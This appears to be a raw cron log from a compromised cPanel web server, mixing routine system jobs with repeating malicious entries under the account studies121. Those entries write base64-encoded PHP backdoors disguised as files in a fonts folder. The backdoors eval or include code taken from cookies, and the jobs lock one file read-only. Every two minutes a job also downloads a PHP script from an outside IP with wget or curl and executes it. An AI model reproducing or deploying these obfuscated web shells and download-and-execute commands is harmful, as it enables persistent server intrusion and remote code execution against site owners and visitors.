Sep  3 08:23:01 ip-184-168-122-23 CROND[2429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:23:01 ip-184-168-122-23 CROND[2430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:23:01 ip-184-168-122-23 CROND[2431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:24:01 ip-184-168-122-23 CROND[2608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:24:01 ip-184-168-122-23 CROND[2609]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:24:01 ip-184-168-122-23 CROND[2611]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 08:24:01 ip-184-168-122-23 CROND[2610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:24:01 ip-184-168-122-23 CROND[2612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:25:01 ip-184-168-122-23 CROND[2724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:25:01 ip-184-168-122-23 CROND[2722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:25:01 ip-184-168-122-23 CROND[2723]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 08:25:01 ip-184-168-122-23 CROND[2728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:25:01 ip-184-168-122-23 CROND[2725]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:25:01 ip-184-168-122-23 CROND[2726]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 08:25:01 ip-184-168-122-23 CROND[2727]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  3 08:26:01 ip-184-168-122-23 CROND[2854]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  3 08:26:01 ip-184-168-122-23 CROND[2858]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:26:01 ip-184-168-122-23 CROND[2859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:26:01 ip-184-168-122-23 CROND[2860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:26:01 ip-184-168-122-23 CROND[2862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:26:01 ip-184-168-122-23 CROND[2865]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 08:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  3 08:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  3 08:27:01 ip-184-168-122-23 CROND[3043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:27:01 ip-184-168-122-23 CROND[3048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:27:01 ip-184-168-122-23 CROND[3051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:27:01 ip-184-168-122-23 CROND[3050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:28:01 ip-184-168-122-23 CROND[3173]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 08:28:01 ip-184-168-122-23 CROND[3175]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:28:01 ip-184-168-122-23 CROND[3177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:28:01 ip-184-168-122-23 CROND[3178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:28:01 ip-184-168-122-23 CROND[3179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:29:01 ip-184-168-122-23 CROND[3359]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:29:01 ip-184-168-122-23 CROND[3361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:29:01 ip-184-168-122-23 CROND[3362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:29:01 ip-184-168-122-23 CROND[3365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:30:01 ip-184-168-122-23 CROND[3480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:30:01 ip-184-168-122-23 CROND[3481]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 08:30:01 ip-184-168-122-23 CROND[3482]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  3 08:30:01 ip-184-168-122-23 CROND[3486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:30:01 ip-184-168-122-23 CROND[3489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:30:01 ip-184-168-122-23 CROND[3491]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 08:30:01 ip-184-168-122-23 CROND[3487]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 08:30:01 ip-184-168-122-23 CROND[3488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:30:01 ip-184-168-122-23 CROND[3492]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 08:31:02 ip-184-168-122-23 CROND[3598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:31:02 ip-184-168-122-23 CROND[3602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:31:02 ip-184-168-122-23 CROND[3600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:31:02 ip-184-168-122-23 CROND[3601]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 08:31:02 ip-184-168-122-23 CROND[3603]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:32:01 ip-184-168-122-23 CROND[3762]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:32:01 ip-184-168-122-23 CROND[3764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:32:01 ip-184-168-122-23 CROND[3765]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 08:32:01 ip-184-168-122-23 CROND[3767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:32:01 ip-184-168-122-23 CROND[3766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:33:01 ip-184-168-122-23 CROND[3872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:33:01 ip-184-168-122-23 CROND[3874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:33:01 ip-184-168-122-23 CROND[3875]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:33:01 ip-184-168-122-23 CROND[3877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:34:01 ip-184-168-122-23 CROND[4063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:34:01 ip-184-168-122-23 CROND[4065]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 08:34:01 ip-184-168-122-23 CROND[4066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:34:01 ip-184-168-122-23 CROND[4068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:34:01 ip-184-168-122-23 CROND[4067]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:35:01 ip-184-168-122-23 CROND[4232]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
